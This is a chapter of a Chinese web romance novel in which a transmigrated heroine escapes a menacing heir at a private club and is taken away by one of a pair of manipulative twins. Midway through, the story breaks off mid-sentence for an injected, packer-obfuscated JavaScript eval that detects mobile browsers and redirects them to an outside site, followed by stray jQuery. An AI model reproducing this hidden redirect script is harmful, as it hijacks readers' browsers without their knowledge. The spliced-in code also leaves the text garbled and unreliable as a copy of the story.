12.
崔英朗正在看手机,他点开了视频。
视频是静音的,应该不长,因为他很快放下了手机,往安蔓的方向看了一眼。
对方知道他在这里,只是之前一直没在意罢了,就像是狮子忽略自己足边的蚂蚁,轻视而怠慢。
——现在他开始注意她了。
安蔓的额头突突地跳了起来,浑身的血液涌向大脑,让她整张脸都热了起来,呼吸也变得沉重。
安蔓查过手机,发现原主和崔英朗做朋友的方式十分简单,她调查后得知崔英朗经常来这个俱乐部,设法得到了里面服务生的岗位,然后经常出现在他面前。
她在学校里是富裕美丽的校花,而在这里是一个贫穷可怜强撑面子的倔强小白花。这样的反差当然吸引了崔英朗的注意,在原主第16次出现在崔英朗面前时,他们第一次搭了话,然后变成了偶尔能说上几句话的关系。
再然后,关系到此止步。
视频到底说了什么?
崔英朗收回目光,他漆黑的头发微微汗湿了,贴在光洁的额头上,金色的眼睛一动不动盯着屏幕,赤裸的手臂肌理分明,贲起的肌肉流淌着蜜色的光泽。
他伸手撩开贴在额前的湿发,将手里握着的毛巾扔在一边,指尖缓缓悬早起对着屏幕又点了一下。
他开了声音。
“谈灵秋。”手机里传来一道年轻的女声,柔和而低沉,“你以为你是谁啊……”
——是原主的声音。
指尖在口袋里蓦然收紧,安蔓的指尖碰到了手机,突然站起来往外走,一边走一边骂内心唾骂系统,“你们这个任务到底有多少个坑啊!为什么我一定要在场迎接任务啊!”
系统小声说,“通过计算,这样任务的完成率最高。”
安蔓:“你们有病啊!这是正经的攻略任务吗?!”
和安蔓一同留在这里服务崔明朗的男生,见她突然站起,有些诧异,下意识地跟着站了起来,看看她往出口的方向走愣了一下,开口道,“你要走……”
几乎是在他开口的瞬间,崔英朗的视线扫了过来。
“我有事。”安蔓随便扯了一个借,毫不犹豫打开门,快步走了出去。
俱乐部主打私密和安全,让会员能在里面做任何想做的事,因此没有监控,服务生虽然分布到各处,但是只要不叫他们,就不会出现在身边。
不能奔跑、不能慌张。
那样格格不入,会成为一个明显的靶子。
在这里服务生也是可以采撷的对象,唯一不同的是多了可以辞职的权利。
安蔓穿着制服,踩在软软的地毯上,步伐稳定,表面上镇定自落,实际上越走越快。
天杀的,原主到底说了什么东西,才会让任务用词变成“存活”啊。
她回忆出口的方向,快速过了一个拐角,迎面而来的是一小群人。
为首的男生身材高挑,气质优雅,有灰雾般的眼睛和黑色卷发,穿着德川的黑色制服。
白色衬衫、黑领结、黑色马甲,外套搭在手臂上,面庞白皙柔和,一副金尊玉贵的公子哥模样。
他面向一侧,正在和旁边跟随的两个人说话,姿态亲切而温和,“……不,我今天是一个人来的,并没有携带同伴。”
他左边的人身材结实高壮,穿着俱乐部的高级制服,紧紧跟在旁边,和他说着话,“景少爷,今天准备去靶场吗?我们已经清了场,今天绝对不会有任何人来打扰你。我们进了一些最新型号的器械。”
“哦?有哪些,方便为我介绍介绍吗?”被叫做景少爷的人,态度十分配合,彬彬有礼的接了一句。
“当然。我这就为您介绍。”
另一个人不甘示弱,把刚刚说话的人挤了一下,没能挤到一边,就扬起声音开了另一个话题,“景少爷,今天崔少爷来了,您要和他打个招呼吗?”
安蔓陡然冲过那个拐角,几乎刹不住身体,正好撞了上去。只能努力刹住身体,整个人却向前倾倒。
而前方的公子哥也正好转过头来,他唇红齿白,面带柔和微笑,正是早上才见过韶景戈。
“抱歉。”安蔓竭力让自己不要碰到他,却仍然控制不住地撞上去,正好撞上他硬邦邦的银饰纽扣。
好痛!她痛的泪花都要飙出来了,下意识地扶住韶景戈的肩头,想要站起来。
对方却忽然按住她的腰,轻轻地压了一下。
安蔓刹那失去平衡,不受控制地倒向他的肩头,然后被他顺理成章地接住。
一抬头,正好看见他低垂注视她的、柔和的灰色眼睛。
对方微笑说,“哎呀,真不意思。”
安蔓:“……??”
对方垂眼地注视她,笑容满面,声音温和,手指却牢牢按在她的腰上,“不好意思,撞疼了你吧,这么急急忙忙是遇到了什么事吗?你看起来……需要帮助。”
安蔓指尖绷紧,努力站直了身体想要推开他,还来不及错愕和询问,就听到了另一侧传来的说话声。
“崔少爷,怎么突然出来了,是有服务不周到的地方吗?”
“你刚刚看到有人从这里过去吗?”崔英朗的声音说,“我在找人。”
太快了。
这么这么快!
安蔓一听到这个问话声就浑身紧绷,几乎不敢听崔英朗的回复,按着这人的肩膀想要站起来,他却又不松手。
她深吸一口气,干脆自暴自弃地抱着韶景戈的脖子,对他进行道德绑架,“韶会长,我现在特别需要帮助,非常需要!如果你不帮我我就在你面前跳楼。”
四个男主中,崔英朗是个暴戾的贵族,江赫出身高贵又性格冷漠。
恶魔双生子里,一对兄弟都是乐子人。
不过韶景戈最会做表面功夫,觉得有趣就会出手,而他弟弟简直是个肆无忌惮的小恶魔,遇到猎物就像猫遇上老鼠,不肯轻易玩死。
现在这个情形肯定属于——有趣的范畴:暴怒的崔英朗和狼狈逃窜的猎物。
奇怪的是,韶景戈刚刚故意将她按倒。
但她搂上去后,他却浑身僵直起来,不过僵硬只维持了一刹,很快他又重新放松下来,调笑道,“哦,好啊,那你求我?”
安蔓毫无节操:“帮我,求你。”
“好啊,你当我的奴隶,我就帮你。”韶景戈回答的也很干脆。
安蔓:“……”这人有病吧?
安蔓匪夷所思,一阵恶寒,但是左右看去,在这个笔直的长通道里,根本找不到躲藏的地方。
随着对话和脚步声越来越近,她干脆抛弃了节操,抱住他的脖子闭眼道,“行行行,都行,只要你救我!快点快点来不及了,我需要找个地方藏起来。”
“好吧。”
韶景戈得到她的承诺,忽然愉快地笑了起来。
他裂开殷红的嘴角,露出一口寒气森森的白牙,眼睛愉悦地眯了起来,语调也突然变地高昂了。
“藏起来呀,简单,我有办法。”
.
崔英朗从转角处走了过来,他一眼看见了韶景戈,气质淡然平和,甚至有几分寡淡,永远得体的笑容挂在嘴边,无趣非常。
他整整齐齐地穿着一身制服,笑容温和,有种看似亲切,实则拒人于千里之外的气质。
与之相悖的是,他的手上却抱着一个身材娇小的女生,似乎珍惜极了。她浑身都被大衣裹紧,缩在韶景戈的怀里微微发抖,被他抱小孩似地抱着。
韶景戈旁边的人,早在他们撞在一起时候,就识趣退开了,此刻正站在远远的地方自顾自地说话,满脸见怪不怪。
这里到处都是这种场景。
漂亮的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868951|159348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平民猎物献媚,贵族公子猎艳。
崔英朗目光烦躁地扫过他怀里的人,“这是谁。”
韶景戈温和地笑了一下,隔着一层布料,单手抱着怀里的人,左手轻柔地碰了碰她的头顶。
怀里的人似乎怕极了,轻微颤动了一下,蜷缩似的在他怀里,靠得更紧了一点。
从大衣里露出的一点点雪白的指尖,紧紧地拉了一下对方的衣服,握住一小角。
是我的公主,她害羞了。”
韶景戈笑了一下,声音闷闷的,收紧了手臂好好抱着,“怎么了?发生什么事了吗?”
“我在找一个人。”崔英朗的目光扫过周围,“有一些事需要解决。”
“可惜我刚才一直在和我的甜心说话,完全没有在意四周,不然还可以帮你问一下。”
韶景戈说完转头,开口问跟着他的几个人,“你们有看到刚刚有人过去吗。”
几个人对视了一眼,纷纷摇头,“没有。”
韶景戈可惜道,“是什么人呢。”
“不重要。”
“好吧,我本来还想说,是不是能够帮你找一下的。”韶景戈遗憾道,“那我就先走了,不打扰你了,我和我的公主还有事要做。”
韶景戈转过身,似乎无意间摇晃了一下,吓得怀里的人紧紧抓着他。
“乖啊,别怕别怕。”
他抱着怀里的人像哄小孩似的拍了拍她的背,接着转身一步步向外走去,路上没有遇到任何阻拦,在拒绝了几个想要帮忙的服务生,走过了几条通道外离开了俱乐部。
他步伐轻快,像是捧着一个没有拆封的礼物盒,一路走上了车,接着才将人放在副驾驶座里,锁上车门。
“好了。”
外套被猛然掀开,露出了安蔓的头,浓密乌黑的发丝将她的脸颊埋在中间,只露出一点点莹润白皙的耳尖。
他垂着头,看着她玻璃珠一样漆黑眼珠,还有搭在他肩膀上白皙修长、因为用力而微微泛红的指尖。
安蔓觉得自己简直倒了大霉,她甚至怀疑这个人在耍她,直到一路上又颠又抖地被抱进车里,才稍微喘过气来。
转头就见到对方一只手放在方向盘上,单手支着下巴,露出形状较好的侧脸,表情懒懒散散地,灰色的眼睛却一直盯着她,像是看到了什么新鲜事。
他最终突然笑起来,笑得像小恶魔一样,露出了两颗尖尖的牙齿。
安蔓几乎被看的有些发毛,“怎么了?”
“你刚刚是怎么叫我的?”
安蔓:“韶景戈?”
对方露出思索的表情,摇了摇头,好整以暇地看着她:“错。”
“韶少爷。”
“不对。”
安蔓:“??”
安蔓怀疑人生,觉得这个人可能有什么大病。
她回忆对方对他的称呼,试探地叫了一句,“达令?”
小恶魔笑得前仰后合,“哎,我的天呢。”
“我的公主,虽然我很想就这么应了你,但现在还是不得不纠正一下。提示,我叫什么名字?”
“韶景戈?”
不对。安蔓立刻意识到什么。
韶家这对恶魔双生子性格恶劣,哥哥更温和,弟弟更蛮横,两个人本质的性格极为相似——看到猎物紧紧撕咬,绝不松口。
他们的外形一模一样,根本难以分辨,而且特别喜爱交换身份。
“……韶景荻。”
“没错。韶景戈是我的哥哥啊。”
韶景荻顶着一头黑色卷毛,唇红齿白,裂开嘴又微笑起来,露出锐而尖的牙齿。
他嘴唇发红,利齿像是鲨鱼一样尖锐雪亮,仿佛下一秒就能瞄准猎物,利齿深深插入喉管,撕裂,血淋淋的一片。
“甜心,你又猜错了。”他说,“看来需要惩罚你。”